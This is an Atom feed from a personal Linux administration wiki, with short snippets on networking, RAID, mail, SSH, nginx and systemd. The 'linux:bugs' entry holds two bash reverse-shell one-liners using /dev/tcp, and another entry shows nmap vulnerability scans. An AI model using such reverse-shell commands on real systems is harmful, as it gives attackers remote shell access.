<?xml version="1.0" encoding="utf-8"?>
<!-- generator="FeedCreator 1.8" -->
<?xml-stylesheet href="https://wiki.janforman.com/lib/exe/css.php?s=feed" type="text/css"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <title>wiki.janforman.com linux</title>
    <subtitle></subtitle>
    <link rel="alternate" type="text/html" href="https://wiki.janforman.com/"/>
    <id>https://wiki.janforman.com/</id>
    <updated>2026-04-19T10:28:14+00:00</updated>
    <generator>FeedCreator 1.8 (info@mypapit.net)</generator>
    <link rel="self" type="application/atom+xml" href="https://wiki.janforman.com/feed.php" />
    <entry>
        <title>linux:bond</title>
        <link rel="alternate" type="text/html" href="https://wiki.janforman.com/linux:bond"/>
        <published>2018-02-02T22:24:50+00:00</published>
        <updated>2018-02-02T22:24:50+00:00</updated>
        <id>https://wiki.janforman.com/linux:bond</id>
        <author>
            <name>Anonymous</name>
            <email>anonymous@undisclosed.example.com</email>
        </author>
        <category  term="linux" />
        <content>Show Status

cat /proc/net/bonding/bond0
 Number  Mode  Description  0  balance-rr  Transmits packets through network interface cards in sequential order. Packets are transmitted in a loop that begins with the first available network interface card in the bond and end with the last available network interface card in the bond. All subsequent loops then start with the first available network interface card. Mode 0 offers fault tolerance and balances the load across all network interface cards in …</content>
        <summary>Show Status

cat /proc/net/bonding/bond0
 Number  Mode  Description  0  balance-rr  Transmits packets through network interface cards in sequential order. Packets are transmitted in a loop that begins with the first available network interface card in the bond and end with the last available network interface card in the bond. All subsequent loops then start with the first available network interface card. Mode 0 offers fault tolerance and balances the load across all network interface cards in …</summary>
    </entry>
    <entry>
        <title>linux:bugs</title>
        <link rel="alternate" type="text/html" href="https://wiki.janforman.com/linux:bugs"/>
        <published>2021-01-26T22:55:52+00:00</published>
        <updated>2021-01-26T22:55:52+00:00</updated>
        <id>https://wiki.janforman.com/linux:bugs</id>
        <author>
            <name>Anonymous</name>
            <email>anonymous@undisclosed.example.com</email>
        </author>
        <category  term="linux" />
        <content>github advisories

SUDO CVE-2021-3156

&lt;https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt&gt;

Show CPU bugs on Linux

cat /sys/devices/system/cpu/vulnerabilities/*

Run BASH and connect outside

You need to compiled bash with --enable-net-redirections option.

/bin/bash -c '/bin/bash -i &gt; /dev/tcp/127.0.0.1/8181 0&lt;&amp;1 2&gt;&amp;1&amp;'
/bin/bash -i &gt;&amp; /dev/tcp/127.0.0.1/8181 0&gt;&amp;1</content>
        <summary>github advisories

SUDO CVE-2021-3156

&lt;https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt&gt;

Show CPU bugs on Linux

cat /sys/devices/system/cpu/vulnerabilities/*

Run BASH and connect outside

You need to compiled bash with --enable-net-redirections option.

/bin/bash -c '/bin/bash -i &gt; /dev/tcp/127.0.0.1/8181 0&lt;&amp;1 2&gt;&amp;1&amp;'
/bin/bash -i &gt;&amp; /dev/tcp/127.0.0.1/8181 0&gt;&amp;1</summary>
    </entry>
    <entry>
        <title>linux:checkrest</title>
        <link rel="alternate" type="text/html" href="https://wiki.janforman.com/linux:checkrest"/>
        <published>2016-08-07T19:38:53+00:00</published>
        <updated>2016-08-07T19:38:53+00:00</updated>
        <id>https://wiki.janforman.com/linux:checkrest</id>
        <author>
            <name>Anonymous</name>
            <email>anonymous@undisclosed.example.com</email>
        </author>
        <category  term="linux" />
        <content>checkrest() {
URL=$1;
STATUS=$(curl --write-out &quot;%{http_code}&quot; --silent --output /dev/null &quot;$URL&quot;)
if [ &quot;$STATUS&quot; != &quot;200&quot; ];
then
mailbody=&quot;`date` REST Status Fail (HTTP/$STATUS) $URL&quot; &amp;&amp; printf &quot;To: to@janforman.com\nFrom: &quot;Robot&quot; &lt;from@janforman.com&gt;\nSubject: Critical Problem - ($STATUS) $URL\n\n$mailbody&quot; |/usr/sbin/sendmail -f from@janforman.com -Sjanforman.com:25 -aufrom@janforman.com -apPASS to@janforman.com
fi
}

checkrest &quot;http://janforman.com/&quot;;</content>
        <summary>checkrest() {
URL=$1;
STATUS=$(curl --write-out &quot;%{http_code}&quot; --silent --output /dev/null &quot;$URL&quot;)
if [ &quot;$STATUS&quot; != &quot;200&quot; ];
then
mailbody=&quot;`date` REST Status Fail (HTTP/$STATUS) $URL&quot; &amp;&amp; printf &quot;To: to@janforman.com\nFrom: &quot;Robot&quot; &lt;from@janforman.com&gt;\nSubject: Critical Problem - ($STATUS) $URL\n\n$mailbody&quot; |/usr/sbin/sendmail -f from@janforman.com -Sjanforman.com:25 -aufrom@janforman.com -apPASS to@janforman.com
fi
}

checkrest &quot;http://janforman.com/&quot;;</summary>
    </entry>
    <entry>
        <title>linux:chroot</title>
        <link rel="alternate" type="text/html" href="https://wiki.janforman.com/linux:chroot"/>
        <published>2019-11-27T12:19:34+00:00</published>
        <updated>2019-11-27T12:19:34+00:00</updated>
        <id>https://wiki.janforman.com/linux:chroot</id>
        <author>
            <name>Anonymous</name>
            <email>anonymous@undisclosed.example.com</email>
        </author>
        <category  term="linux" />
        <content>Install Ubuntu in chroot


mkdir ubuntu
cd ubuntu
wget http://sg.cdimage.ubuntu.com/ubuntu-base/daily/current/focal-base-arm64.tar.gz
tar -xzf *.tar.gz
cat /etc/resolv.conf &gt;etc/resolv.conf
chroot .
apt update
apt install locales-all build-essential</content>
        <summary>Install Ubuntu in chroot


mkdir ubuntu
cd ubuntu
wget http://sg.cdimage.ubuntu.com/ubuntu-base/daily/current/focal-base-arm64.tar.gz
tar -xzf *.tar.gz
cat /etc/resolv.conf &gt;etc/resolv.conf
chroot .
apt update
apt install locales-all build-essential</summary>
    </entry>
    <entry>
        <title>linux:commands</title>
        <link rel="alternate" type="text/html" href="https://wiki.janforman.com/linux:commands"/>
        <published>2025-09-30T12:00:03+00:00</published>
        <updated>2025-09-30T12:00:03+00:00</updated>
        <id>https://wiki.janforman.com/linux:commands</id>
        <author>
            <name>Anonymous</name>
            <email>anonymous@undisclosed.example.com</email>
        </author>
        <category  term="linux" />
        <content>Force reboot


echo 1 &gt; /proc/sys/kernel/sysrq
echo b &gt; /proc/sysrq-trigger


Scan with NMAP

nmap -p 1-65535 -T4 -A -P0 -v hostname/ip

Check vulnerabilities

nmap -Pn --script vuln hostname/ip

Manual IP/GW Configuration

ifconfig eth0 10.0.0.1 netmask 255.255.255.0
route add default gw 10.0.0.254</content>
        <summary>Force reboot


echo 1 &gt; /proc/sys/kernel/sysrq
echo b &gt; /proc/sysrq-trigger


Scan with NMAP

nmap -p 1-65535 -T4 -A -P0 -v hostname/ip

Check vulnerabilities

nmap -Pn --script vuln hostname/ip

Manual IP/GW Configuration

ifconfig eth0 10.0.0.1 netmask 255.255.255.0
route add default gw 10.0.0.254</summary>
    </entry>
    <entry>
        <title>linux:countlines</title>
        <link rel="alternate" type="text/html" href="https://wiki.janforman.com/linux:countlines"/>
        <published>2016-06-22T15:11:42+00:00</published>
        <updated>2016-06-22T15:11:42+00:00</updated>
        <id>https://wiki.janforman.com/linux:countlines</id>
        <author>
            <name>Anonymous</name>
            <email>anonymous@undisclosed.example.com</email>
        </author>
        <category  term="linux" />
        <content>( find ./ -name '*.php' -print0 | xargs -0 cat ) | wc -l</content>
        <summary>( find ./ -name '*.php' -print0 | xargs -0 cat ) | wc -l</summary>
    </entry>
    <entry>
        <title>linux:debian</title>
        <link rel="alternate" type="text/html" href="https://wiki.janforman.com/linux:debian"/>
        <published>2021-07-27T11:34:15+00:00</published>
        <updated>2021-07-27T11:34:15+00:00</updated>
        <id>https://wiki.janforman.com/linux:debian</id>
        <author>
            <name>Anonymous</name>
            <email>anonymous@undisclosed.example.com</email>
        </author>
        <category  term="linux" />
        <content>export http_proxy=http://user:password@192.168.0.1:3128

Rename ethX

/etc/udev/rules.d/70-persistent-net.rules

Warning: do not delete interface! otherwise it can appear something like enp3s0 (renamed from systemd)

lspci | grep -i eth
and remark the numbers at the front of each line. Example:

Code:
03:00.0 Ethernet controller: Realtek [...]
04:00.0 Ethernet controller: Realtek [...]
Now, edit
Code:
/etc/udev/rules.d/70-persistent-net.rules
and add a KERNELS== parameter to match the addresses …</content>
        <summary>export http_proxy=http://user:password@192.168.0.1:3128

Rename ethX

/etc/udev/rules.d/70-persistent-net.rules

Warning: do not delete interface! otherwise it can appear something like enp3s0 (renamed from systemd)

lspci | grep -i eth
and remark the numbers at the front of each line. Example:

Code:
03:00.0 Ethernet controller: Realtek [...]
04:00.0 Ethernet controller: Realtek [...]
Now, edit
Code:
/etc/udev/rules.d/70-persistent-net.rules
and add a KERNELS== parameter to match the addresses …</summary>
    </entry>
    <entry>
        <title>linux:dns</title>
        <link rel="alternate" type="text/html" href="https://wiki.janforman.com/linux:dns"/>
        <published>2017-04-04T11:43:00+00:00</published>
        <updated>2017-04-04T11:43:00+00:00</updated>
        <id>https://wiki.janforman.com/linux:dns</id>
        <author>
            <name>Anonymous</name>
            <email>anonymous@undisclosed.example.com</email>
        </author>
        <category  term="linux" />
        <content>dig janforman.org +dnssec +multi



nslookup -debug janforman.org
nslookup -type=ns janforman.org
nslookup -type=mx janforman.org
nslookup -type=soa janforman.org</content>
        <summary>dig janforman.org +dnssec +multi



nslookup -debug janforman.org
nslookup -type=ns janforman.org
nslookup -type=mx janforman.org
nslookup -type=soa janforman.org</summary>
    </entry>
    <entry>
        <title>linux:erasesingleblock</title>
        <link rel="alternate" type="text/html" href="https://wiki.janforman.com/linux:erasesingleblock"/>
        <published>2016-03-02T11:31:30+00:00</published>
        <updated>2016-03-02T11:31:30+00:00</updated>
        <id>https://wiki.janforman.com/linux:erasesingleblock</id>
        <author>
            <name>Anonymous</name>
            <email>anonymous@undisclosed.example.com</email>
        </author>
        <category  term="linux" />
        <content>LINUX: How to erase single block on HDD

This is useful, when you find bad block using SMART disk monitoring. Script overwrites block ID 9454180* on device /dev/sdX* and after this operation HDD controller can reallocate this 512byte block to spare reserved part of disk.</content>
        <summary>LINUX: How to erase single block on HDD

This is useful, when you find bad block using SMART disk monitoring. Script overwrites block ID 9454180* on device /dev/sdX* and after this operation HDD controller can reallocate this 512byte block to spare reserved part of disk.</summary>
    </entry>
    <entry>
        <title>linux:find</title>
        <link rel="alternate" type="text/html" href="https://wiki.janforman.com/linux:find"/>
        <published>2021-01-21T17:00:30+00:00</published>
        <updated>2021-01-21T17:00:30+00:00</updated>
        <id>https://wiki.janforman.com/linux:find</id>
        <author>
            <name>Anonymous</name>
            <email>anonymous@undisclosed.example.com</email>
        </author>
        <category  term="linux" />
        <content>Windows - Remove thumbs.db

Find all files named “thumbs.db” in current directory and delete them.

find . -iname &quot;thumbs.db&quot; -delete

MacOS - Remove .DS_Store

Find all files named “.DS_Store” in current directory and delete them.

find . -iname &quot;*.DS_Store&quot; -delete</content>
        <summary>Windows - Remove thumbs.db

Find all files named “thumbs.db” in current directory and delete them.

find . -iname &quot;thumbs.db&quot; -delete

MacOS - Remove .DS_Store

Find all files named “.DS_Store” in current directory and delete them.

find . -iname &quot;*.DS_Store&quot; -delete</summary>
    </entry>
    <entry>
        <title>linux:gentoo</title>
        <link rel="alternate" type="text/html" href="https://wiki.janforman.com/linux:gentoo"/>
        <published>2017-08-08T12:31:07+00:00</published>
        <updated>2017-08-08T12:31:07+00:00</updated>
        <id>https://wiki.janforman.com/linux:gentoo</id>
        <author>
            <name>Anonymous</name>
            <email>anonymous@undisclosed.example.com</email>
        </author>
        <category  term="linux" />
        <content>Install Oracle JRE

place install file into /usr/portage/disfiles



$ echo “&gt;=dev-java/oracle-jre-bin-1.8.0.77 Oracle-BCLA-JavaSE”&gt;/etc/portage/package.license

$ emerge oracle-jre-bin

Update repository

emerge --sync

Make optimizations


CFLAGS=&quot;-march=native -O3 -pipe -fforce-addr -fomit-frame-pointer -fexpensive-optimizations -ffast-math -funroll-loops&quot;
USE=&quot;-X -innodb -berkdb -gtk -mariadb -ipv6&quot;
LINGUAS=&quot;en cs&quot;</content>
        <summary>Install Oracle JRE

place install file into /usr/portage/disfiles



$ echo “&gt;=dev-java/oracle-jre-bin-1.8.0.77 Oracle-BCLA-JavaSE”&gt;/etc/portage/package.license

$ emerge oracle-jre-bin

Update repository

emerge --sync

Make optimizations


CFLAGS=&quot;-march=native -O3 -pipe -fforce-addr -fomit-frame-pointer -fexpensive-optimizations -ffast-math -funroll-loops&quot;
USE=&quot;-X -innodb -berkdb -gtk -mariadb -ipv6&quot;
LINGUAS=&quot;en cs&quot;</summary>
    </entry>
    <entry>
        <title>linux:info</title>
        <link rel="alternate" type="text/html" href="https://wiki.janforman.com/linux:info"/>
        <published>2019-10-17T10:26:32+00:00</published>
        <updated>2019-10-17T10:26:32+00:00</updated>
        <id>https://wiki.janforman.com/linux:info</id>
        <author>
            <name>Anonymous</name>
            <email>anonymous@undisclosed.example.com</email>
        </author>
        <category  term="linux" />
        <content>System Information


dmidecode | grep -A3 '^System Information'


Show RAID


lspci -k|grep -i -A2 raid</content>
        <summary>System Information


dmidecode | grep -A3 '^System Information'


Show RAID


lspci -k|grep -i -A2 raid</summary>
    </entry>
    <entry>
        <title>linux:initdscript</title>
        <link rel="alternate" type="text/html" href="https://wiki.janforman.com/linux:initdscript"/>
        <published>2015-12-29T20:34:38+00:00</published>
        <updated>2015-12-29T20:34:38+00:00</updated>
        <id>https://wiki.janforman.com/linux:initdscript</id>
        <author>
            <name>Anonymous</name>
            <email>anonymous@undisclosed.example.com</email>
        </author>
        <category  term="linux" />
        <content>Super simple init.d script


#!/bin/bash
case &quot;$1&quot; in
  start)
/usr/local/nginx/sbin/nginx
;;
  stop)
killall nginx
;;
  reconfigure)
  kill -HUP `cat /usr/local/nginx/logs/nginx.pid`
;;
esac</content>
        <summary>Super simple init.d script


#!/bin/bash
case &quot;$1&quot; in
  start)
/usr/local/nginx/sbin/nginx
;;
  stop)
killall nginx
;;
  reconfigure)
  kill -HUP `cat /usr/local/nginx/logs/nginx.pid`
;;
esac</summary>
    </entry>
    <entry>
        <title>linux:iptables</title>
        <link rel="alternate" type="text/html" href="https://wiki.janforman.com/linux:iptables"/>
        <published>2017-10-21T22:57:25+00:00</published>
        <updated>2017-10-21T22:57:25+00:00</updated>
        <id>https://wiki.janforman.com/linux:iptables</id>
        <author>
            <name>Anonymous</name>
            <email>anonymous@undisclosed.example.com</email>
        </author>
        <category  term="linux" />
        <content>iptables -I INPUT -s 183.60.0.0/16 -j DROP
iptables -I INPUT -s 210.211.0.0/16 -j DROP
iptables -I INPUT -s 211.143.0.0/16 -j DROP
iptables -I INPUT -s 123.151.0.0/16 -j DROP
iptables -I INPUT -s 38.122.0.0/16 -j DROP
iptables -I INPUT -s 14.17.0.0/16 -j DROP
iptables -I INPUT -s 221.228.0.0/16 -j DROP
iptables -I INPUT -s 27.248.0.0/16 -j DROP

iptables -A wanout -p tcp --dport 135:139 -j DROP
iptables -A wanout -p udp --dport 135:139 -j DROP
iptables -A wanout -p tcp --dport 445 -j DROP

iptab…</content>
        <summary>iptables -I INPUT -s 183.60.0.0/16 -j DROP
iptables -I INPUT -s 210.211.0.0/16 -j DROP
iptables -I INPUT -s 211.143.0.0/16 -j DROP
iptables -I INPUT -s 123.151.0.0/16 -j DROP
iptables -I INPUT -s 38.122.0.0/16 -j DROP
iptables -I INPUT -s 14.17.0.0/16 -j DROP
iptables -I INPUT -s 221.228.0.0/16 -j DROP
iptables -I INPUT -s 27.248.0.0/16 -j DROP

iptables -A wanout -p tcp --dport 135:139 -j DROP
iptables -A wanout -p udp --dport 135:139 -j DROP
iptables -A wanout -p tcp --dport 445 -j DROP

iptab…</summary>
    </entry>
    <entry>
        <title>linux:ispconfig</title>
        <link rel="alternate" type="text/html" href="https://wiki.janforman.com/linux:ispconfig"/>
        <published>2026-03-06T11:33:18+00:00</published>
        <updated>2026-03-06T11:33:18+00:00</updated>
        <id>https://wiki.janforman.com/linux:ispconfig</id>
        <author>
            <name>Anonymous</name>
            <email>anonymous@undisclosed.example.com</email>
        </author>
        <category  term="linux" />
        <content>ISPConfig


aws ec2 run-instances \
  --instance-type t4g.small \
  --image-id ami-0e15cd9cd8e225753 \
  --security-groups MySecurityGroup \
  --key-name My-key-pair
  --credit-specification &quot;CpuCredits=standard&quot;


AWS Ports

TCP

21,22,25,53,80,110,143,443,465,587,993,995,4190,8080,8081,40110:40210</content>
        <summary>ISPConfig


aws ec2 run-instances \
  --instance-type t4g.small \
  --image-id ami-0e15cd9cd8e225753 \
  --security-groups MySecurityGroup \
  --key-name My-key-pair
  --credit-specification &quot;CpuCredits=standard&quot;


AWS Ports

TCP

21,22,25,53,80,110,143,443,465,587,993,995,4190,8080,8081,40110:40210</summary>
    </entry>
    <entry>
        <title>linux:kernel</title>
        <link rel="alternate" type="text/html" href="https://wiki.janforman.com/linux:kernel"/>
        <published>2016-08-27T13:41:46+00:00</published>
        <updated>2016-08-27T13:41:46+00:00</updated>
        <id>https://wiki.janforman.com/linux:kernel</id>
        <author>
            <name>Anonymous</name>
            <email>anonymous@undisclosed.example.com</email>
        </author>
        <category  term="linux" />
        <content>Prevent memory corruption on bad BIOSes

memmap=1024K$0 memory_corruption_check=0</content>
        <summary>Prevent memory corruption on bad BIOSes

memmap=1024K$0 memory_corruption_check=0</summary>
    </entry>
    <entry>
        <title>linux:mail</title>
        <link rel="alternate" type="text/html" href="https://wiki.janforman.com/linux:mail"/>
        <published>2017-07-28T21:45:25+00:00</published>
        <updated>2017-07-28T21:45:25+00:00</updated>
        <id>https://wiki.janforman.com/linux:mail</id>
        <author>
            <name>Anonymous</name>
            <email>anonymous@undisclosed.example.com</email>
        </author>
        <category  term="linux" />
        <content>Postfix with SASL SQL Authorization

Edit /etc/sasl2 and insert

log_level: 0

Postfix Cleanup

mailq

postsuper -d ALL</content>
        <summary>Postfix with SASL SQL Authorization

Edit /etc/sasl2 and insert

log_level: 0

Postfix Cleanup

mailq

postsuper -d ALL</summary>
    </entry>
    <entry>
        <title>linux:nginx</title>
        <link rel="alternate" type="text/html" href="https://wiki.janforman.com/linux:nginx"/>
        <published>2021-07-27T15:38:32+00:00</published>
        <updated>2021-07-27T15:38:32+00:00</updated>
        <id>https://wiki.janforman.com/linux:nginx</id>
        <author>
            <name>Anonymous</name>
            <email>anonymous@undisclosed.example.com</email>
        </author>
        <category  term="linux" />
        <content>&lt;http://www.keepalived.org&gt;

&lt;https://gist.github.com/nginx-gists/&gt;

&lt;https://nginxbeautifier.com/&gt;

nginx certificate authentification

nginx

.htaccess converter

sample config


events {
use epoll;
multi_accept on;
}

    sendfile    on;
    tcp_nopush  on;
    tcp_nodelay on;
    keepalive_timeout 30;
    gzip on;
    gzip_min_length 1100;
    gzip_comp_level   6;
    gzip_types  text/css application/javascript;</content>
        <summary>&lt;http://www.keepalived.org&gt;

&lt;https://gist.github.com/nginx-gists/&gt;

&lt;https://nginxbeautifier.com/&gt;

nginx certificate authentification

nginx

.htaccess converter

sample config


events {
use epoll;
multi_accept on;
}

    sendfile    on;
    tcp_nopush  on;
    tcp_nodelay on;
    keepalive_timeout 30;
    gzip on;
    gzip_min_length 1100;
    gzip_comp_level   6;
    gzip_types  text/css application/javascript;</summary>
    </entry>
    <entry>
        <title>linux:pmap</title>
        <link rel="alternate" type="text/html" href="https://wiki.janforman.com/linux:pmap"/>
        <published>2016-01-06T19:32:48+00:00</published>
        <updated>2016-01-06T19:32:48+00:00</updated>
        <id>https://wiki.janforman.com/linux:pmap</id>
        <author>
            <name>Anonymous</name>
            <email>anonymous@undisclosed.example.com</email>
        </author>
        <category  term="linux" />
        <content>pmap PID</content>
        <summary>pmap PID</summary>
    </entry>
    <entry>
        <title>linux:redhat</title>
        <link rel="alternate" type="text/html" href="https://wiki.janforman.com/linux:redhat"/>
        <published>2023-04-26T11:53:38+00:00</published>
        <updated>2023-04-26T11:53:38+00:00</updated>
        <id>https://wiki.janforman.com/linux:redhat</id>
        <author>
            <name>Anonymous</name>
            <email>anonymous@undisclosed.example.com</email>
        </author>
        <category  term="linux" />
        <content>Redhat / Centos on server

Rocky Linux / CentOS / Oracle Linux 8

This is a workaround for the `postgresql.service` remaining stuck in status “deactivating”:
Create the file `/etc/systemd/system/postgresql.service.d/stop.conf` and put the following contents to it</content>
        <summary>Redhat / Centos on server

Rocky Linux / CentOS / Oracle Linux 8

This is a workaround for the `postgresql.service` remaining stuck in status “deactivating”:
Create the file `/etc/systemd/system/postgresql.service.d/stop.conf` and put the following contents to it</summary>
    </entry>
    <entry>
        <title>linux:rsync</title>
        <link rel="alternate" type="text/html" href="https://wiki.janforman.com/linux:rsync"/>
        <published>2016-06-12T09:42:20+00:00</published>
        <updated>2016-06-12T09:42:20+00:00</updated>
        <id>https://wiki.janforman.com/linux:rsync</id>
        <author>
            <name>Anonymous</name>
            <email>anonymous@undisclosed.example.com</email>
        </author>
        <category  term="linux" />
        <content>RSYNC Using Encrypted SSH

From

rsync -aHAXxv --numeric-ids --delete --progress -e &quot;ssh -T -c arcfour -o Compression=no -x&quot; [source_dir] [dest_host:/dest_dir]

To

rsync -aHAXxv --numeric-ids --delete --progress -e &quot;ssh -T -c arcfour -o Compression=no -x&quot; user@&lt;source&gt;:&lt;source_dir&gt; &lt;dest_dir&gt;</content>
        <summary>RSYNC Using Encrypted SSH

From

rsync -aHAXxv --numeric-ids --delete --progress -e &quot;ssh -T -c arcfour -o Compression=no -x&quot; [source_dir] [dest_host:/dest_dir]

To

rsync -aHAXxv --numeric-ids --delete --progress -e &quot;ssh -T -c arcfour -o Compression=no -x&quot; user@&lt;source&gt;:&lt;source_dir&gt; &lt;dest_dir&gt;</summary>
    </entry>
    <entry>
        <title>linux:samba</title>
        <link rel="alternate" type="text/html" href="https://wiki.janforman.com/linux:samba"/>
        <published>2025-05-20T11:08:38+00:00</published>
        <updated>2025-05-20T11:08:38+00:00</updated>
        <id>https://wiki.janforman.com/linux:samba</id>
        <author>
            <name>Anonymous</name>
            <email>anonymous@undisclosed.example.com</email>
        </author>
        <category  term="linux" />
        <content>Active Directory Mode

Server 2012_R2 (from 4.21.0) supported 100000 users and computers, 100 DC in domain tested


IN LXC YOU MUST USE PRIVILEGED CONTAINER AND DNS may be 127.0.0.1 in the end!

Insert AD name ad.corp.janforman.com


sudo vi /etc/hostname
sudo vi /etc/hosts</content>
        <summary>Active Directory Mode

Server 2012_R2 (from 4.21.0) supported 100000 users and computers, 100 DC in domain tested


IN LXC YOU MUST USE PRIVILEGED CONTAINER AND DNS may be 127.0.0.1 in the end!

Insert AD name ad.corp.janforman.com


sudo vi /etc/hostname
sudo vi /etc/hosts</summary>
    </entry>
    <entry>
        <title>linux:security</title>
        <link rel="alternate" type="text/html" href="https://wiki.janforman.com/linux:security"/>
        <published>2016-09-08T12:07:12+00:00</published>
        <updated>2016-09-08T12:07:12+00:00</updated>
        <id>https://wiki.janforman.com/linux:security</id>
        <author>
            <name>Anonymous</name>
            <email>anonymous@undisclosed.example.com</email>
        </author>
        <category  term="linux" />
        <content>Disable Useless SUID and SGID Commands

Find

find /  -path /proc -prune -o -type f \( -perm -4000 -o -perm -2000 \) -exec ls -l {} \;

Unset UID

chmod u-s /path/to/binary_file

Unset GID

chmod g-s /path/to/binary_file




Find World-Writeable Files</content>
        <summary>Disable Useless SUID and SGID Commands

Find

find /  -path /proc -prune -o -type f \( -perm -4000 -o -perm -2000 \) -exec ls -l {} \;

Unset UID

chmod u-s /path/to/binary_file

Unset GID

chmod g-s /path/to/binary_file




Find World-Writeable Files</summary>
    </entry>
    <entry>
        <title>linux:sendstatus</title>
        <link rel="alternate" type="text/html" href="https://wiki.janforman.com/linux:sendstatus"/>
        <published>2016-08-03T14:11:44+00:00</published>
        <updated>2016-08-03T14:11:44+00:00</updated>
        <id>https://wiki.janforman.com/linux:sendstatus</id>
        <author>
            <name>Anonymous</name>
            <email>anonymous@undisclosed.example.com</email>
        </author>
        <category  term="linux" />
        <content>Run every 10minutes


#export http_proxy=http://10.160.150.250:8080
while [ 1 ]
do
url=&quot;http://janforman.com/&quot;
name=&quot;router.janforman.com&quot;
cores=&quot;`cat /proc/cpuinfo | grep -i bogomips | wc -l`&quot;
total=&quot;`free | awk 'NR==2 {print $2}'`&quot;
used=&quot;`free | awk 'NR==2 {print $3}'`&quot;
totalstorage=&quot;`df / -h -k | awk 'NR==2 {print $2}'`&quot;
freestorage=&quot;`df / -h -k | awk 'NR==2 {print $4}'`&quot;
uptime=&quot;`cat /proc/uptime | awk '{printf &quot;%.0f\n&quot;, $1/3600}'`&quot;
load=&quot;`cat /proc/loadavg | awk '{print $2}'`&quot;
rx=&quot;`cat /pro…</content>
        <summary>Run every 10minutes


#export http_proxy=http://10.160.150.250:8080
while [ 1 ]
do
url=&quot;http://janforman.com/&quot;
name=&quot;router.janforman.com&quot;
cores=&quot;`cat /proc/cpuinfo | grep -i bogomips | wc -l`&quot;
total=&quot;`free | awk 'NR==2 {print $2}'`&quot;
used=&quot;`free | awk 'NR==2 {print $3}'`&quot;
totalstorage=&quot;`df / -h -k | awk 'NR==2 {print $2}'`&quot;
freestorage=&quot;`df / -h -k | awk 'NR==2 {print $4}'`&quot;
uptime=&quot;`cat /proc/uptime | awk '{printf &quot;%.0f\n&quot;, $1/3600}'`&quot;
load=&quot;`cat /proc/loadavg | awk '{print $2}'`&quot;
rx=&quot;`cat /pro…</summary>
    </entry>
    <entry>
        <title>linux:softraid</title>
        <link rel="alternate" type="text/html" href="https://wiki.janforman.com/linux:softraid"/>
        <published>2021-06-10T11:29:12+00:00</published>
        <updated>2021-06-10T11:29:12+00:00</updated>
        <id>https://wiki.janforman.com/linux:softraid</id>
        <author>
            <name>Anonymous</name>
            <email>anonymous@undisclosed.example.com</email>
        </author>
        <category  term="linux" />
        <content>Create


mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/sda1 /dev/sdb1 /dev/sdc1 --spare-devices=1 /dev/sdd1


Status


watch -n 1 'cat /proc/mdstat'
mdadm --detail /dev/md0
mdadm -E /dev/sdb2


Manage


mdadm --manage /dev/md1 --fail /dev/sdb2
mdadm --manage /dev/md1 --remove /dev/sdb2
mdadm --manage /dev/md1 --add /dev/sdb2

mdadm --grow /dev/md0 --raid-devices=4 // add drive
mdadm --grow /dev/md0 --size=max // change drive size</content>
        <summary>Create


mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/sda1 /dev/sdb1 /dev/sdc1 --spare-devices=1 /dev/sdd1


Status


watch -n 1 'cat /proc/mdstat'
mdadm --detail /dev/md0
mdadm -E /dev/sdb2


Manage


mdadm --manage /dev/md1 --fail /dev/sdb2
mdadm --manage /dev/md1 --remove /dev/sdb2
mdadm --manage /dev/md1 --add /dev/sdb2

mdadm --grow /dev/md0 --raid-devices=4 // add drive
mdadm --grow /dev/md0 --size=max // change drive size</summary>
    </entry>
    <entry>
        <title>linux:sshd</title>
        <link rel="alternate" type="text/html" href="https://wiki.janforman.com/linux:sshd"/>
        <published>2020-05-31T22:26:50+00:00</published>
        <updated>2020-05-31T22:26:50+00:00</updated>
        <id>https://wiki.janforman.com/linux:sshd</id>
        <author>
            <name>Anonymous</name>
            <email>anonymous@undisclosed.example.com</email>
        </author>
        <category  term="linux" />
        <content>// client side
ssh-keygen -t ecdsa -b 384 -C &quot;Enter an optional comment about your key&quot;
ssh-copy-id root@destination


/etc/ssh/sshd_config


RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile  %h/.ssh/authorized_keys


Check speed


time dd if=/dev/zero bs=10240 count=409600 | ssh -p 2222 root@192.168.22.58 'cat &gt; /dev/null'</content>
        <summary>// client side
ssh-keygen -t ecdsa -b 384 -C &quot;Enter an optional comment about your key&quot;
ssh-copy-id root@destination


/etc/ssh/sshd_config


RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile  %h/.ssh/authorized_keys


Check speed


time dd if=/dev/zero bs=10240 count=409600 | ssh -p 2222 root@192.168.22.58 'cat &gt; /dev/null'</summary>
    </entry>
    <entry>
        <title>linux:storagespeed</title>
        <link rel="alternate" type="text/html" href="https://wiki.janforman.com/linux:storagespeed"/>
        <published>2025-01-21T14:33:51+00:00</published>
        <updated>2025-01-21T14:33:51+00:00</updated>
        <id>https://wiki.janforman.com/linux:storagespeed</id>
        <author>
            <name>Anonymous</name>
            <email>anonymous@undisclosed.example.com</email>
        </author>
        <category  term="linux" />
        <content>hdparm speed test

hdparm -t --direct /dev/sda

read test

dd if=/dev/sda of=/dev/null bs=1M

LINUX: How to measure storage speed

Write (10GB File):


# dd if=/dev/zero of=erase.bin bs=1M count=10000


Read (10GB File):


# dd if=erase.bin of=/dev/null bs=1M count=10000
# rm erase.bin</content>
        <summary>hdparm speed test

hdparm -t --direct /dev/sda

read test

dd if=/dev/sda of=/dev/null bs=1M

LINUX: How to measure storage speed

Write (10GB File):


# dd if=/dev/zero of=erase.bin bs=1M count=10000


Read (10GB File):


# dd if=erase.bin of=/dev/null bs=1M count=10000
# rm erase.bin</summary>
    </entry>
    <entry>
        <title>linux:systemd</title>
        <link rel="alternate" type="text/html" href="https://wiki.janforman.com/linux:systemd"/>
        <published>2022-02-14T13:14:57+00:00</published>
        <updated>2022-02-14T13:14:57+00:00</updated>
        <id>https://wiki.janforman.com/linux:systemd</id>
        <author>
            <name>Anonymous</name>
            <email>anonymous@undisclosed.example.com</email>
        </author>
        <category  term="linux" />
        <content>How to systemd

Set systemd log level to error. I don't like my log flooded by nonsense.

/etc/systemd/system.conf

LogLevel=crit

(emerg, alert, crit, err, warning, notice, info, debug)

Limit systemd journal by editing
/etc/systemd/journald.conf

SystemMaxUse=10M</content>
        <summary>How to systemd

Set systemd log level to error. I don't like my log flooded by nonsense.

/etc/systemd/system.conf

LogLevel=crit

